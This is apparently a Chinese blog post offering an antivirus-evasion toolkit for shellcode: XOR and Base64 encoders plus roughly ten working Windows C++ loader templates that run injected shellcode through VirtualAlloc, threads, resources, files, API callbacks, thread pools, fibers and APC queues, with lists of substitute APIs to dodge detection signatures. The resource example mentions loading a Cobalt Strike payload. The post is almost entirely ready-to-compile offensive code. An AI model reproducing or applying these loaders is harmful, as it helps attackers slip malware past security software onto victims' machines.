ShellCode & ShellCodeLoader 特征规避

1.ShellCode加密

异或

encode.cpp:

#include <iostream>

int main() {
    unsigned char buf[] = "ShellCode";

    for (int i = 0; i < sizeof buf; i++) {
        printf("\\x%x", buf[i] ^ 0xcb);
    }
}

loader.cpp:

#include <windows.h>

int main() {
    unsigned char payload[] = "payload";

    for (int i = 0; i < sizeof payload; i++) {
        payload[i] = payload[i] ^ 0xcb;
    }

    void* p = VirtualAlloc(NULL, sizeof payload, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, payload, sizeof payload);

    ((void(*)())p)();
}

Base64

encode.py:

import base64
 
f = open('ShellCode.bin', 'rb')
shellcode = f.read();
f.close()
 
print(base64.b64encode(shellcode));

loader.cpp:

#include <windows.h>
#pragma comment (lib, "Crypt32.lib")

int main() {
    const char payload[] = "payload";

    DWORD payloadLen = sizeof payload;

    LPVOID p = VirtualAlloc(0, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    CryptStringToBinaryA(payload, payloadLen, CRYPT_STRING_BASE64, (BYTE*)p, &payloadLen, NULL, NULL);

    DWORD oldProtect;
    VirtualProtect(p, payloadLen, PAGE_EXECUTE_READ, &oldProtect);

    ((void(*)())p)();
}

2.ShellCodeLoader

ShellCode 加载方式

指针执行

#include <windows.h>

int main() {
    unsigned char buf[] = "ShellCode";

    void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指针指向申请的内存
    memcpy(p, buf, sizeof buf); // 将 ShellCode 写入内存

    ((void(*)())p)(); // 将指针转为 无参数、无返回值的函数 并调用
}

x86 汇编执行

// .data 数据段,存储静态变量和全局变量
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "x86 ShellCode"; // 要为全局变量

int main() {
    __asm {
        lea eax, buf
        call eax
    }
}

创建线程执行

#include <windows.h>

int main() {
    unsigned char buf[] = "ShellCode";

    void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(p, buf, sizeof buf);

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 创建线程调用 ShellCode,并返回线程句柄
    WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
}

从资源加载执行

源文件->添加->资源->导入->CS生成的.bin文件->资源类型(BIN)

在resource.h查看资源ID(#define IDR_BIN1)

#include <windows.h>
#include "resource.h"

int main() {
    HRSRC res = FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), L"BIN"); // 在资源表中查找指定名称和类型的资源
    DWORD size = SizeofResource(NULL, res); // 获取资源大小
    HGLOBAL load = LoadResource(NULL, res); // 加载资源

    void* p = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, load, size);

    ((void(*)())p)();
}

本地分离,从文件加载执行

#include <windows.h>

int main() {
    // 读取 ShellCode 文件二进制数据
    HANDLE hFile = CreateFileA((char*)"D:\\攻防\\temp.bin", GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0 ,NULL); // 获取文件句柄
    DWORD fileSize = GetFileSize(hFile, NULL); // 获取文件大小
    void* p = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD readFileSize;
    ReadFile(hFile, p, fileSize, &readFileSize, NULL); // 读取文件二进制数据到申请的空间

    ((void(*)())p)();
}

回调函数执行

#include <windows.h>

int main() {
    unsigned char buf[] = "ShellCode";

    void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, buf, sizeof buf);

    // EnumFontsW 用于枚举系统中的所有可用字体,可以回调函数
    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL);
}

窗口过程函数执行

#include <windows.h>

int main() {
    unsigned char buf[] = "ShellCode";

    DWORD oldProtect;
    BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);

    // 调用窗口过程函数
    CallWindowProc((WNDPROC)(char*)buf, (HWND)0, 0, 0, 0);
}

线程池等待对象回调函数执行

#include <windows.h>

int main() {
    unsigned char buf[] = "ShellCode";

    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);

    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); // 创建一个事件对象
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL); // 创建一个线程池等待对象
    SetThreadpoolWait(threadPoolWait, event, NULL); // 向线程池中添加等待对象
    WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕,事件对象执行会执行回调函数buf
}

创建纤程(Fiber)执行

#include <windows.h>

int main() {
    unsigned char buf[] = "ShellCode";

    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);

    ConvertThreadToFiber(NULL); // 将当前线程转换为纤程(轻量级线程)
    void* fiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL); // 创建纤程对象
    SwitchToFiber(fiber); // 切换纤程,执行函数
    DeleteFiber(fiber); // 删除纤程对象
}

NtTestAlert + APC执行

#include <windows.h>

typedef DWORD(WINAPI* pNtTestAlert)(); // 定义函数指针类型

int main() {
    unsigned char buf[] = "ShellCode";

    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);

    /*
    * NtTestAlert 是内部函数,无法直接通过函数名调用
    * GetModuleHandleA 用于获取 DLL 句柄
    * GetProcAddress 用于获取函数地址
    */
    pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

    /*
    * QueueUserAPC 用于将APC函数插入到指定线程的APC队列中
    * GetCurrentThread 返回当前线程的句柄
    */
    QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
    NtTestAlert(); // 检查当前线程的APC队列是否有待执行的异步过程调用,如果有就会立刻执行
}

函数替换

VirtualAlloc

GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
AllocADsMem
ReallocADsMem

回调函数

EnumTimeFormatsA
EnumWindows
EnumDesktopWindows
EnumDateFormatsA
EnumChildWindows
EnumThreadWindows
EnumSystemLocalesA
EnumSystemGeoID
EnumSystemLanguageGroupsA
EnumUILanguagesA
EnumSystemCodePagesA
EnumDesktopsW
EnumSystemCodePagesW
posted @ 2023-02-27 21:59  Hacker&Cat  阅读(1040)  评论(0编辑  收藏  举报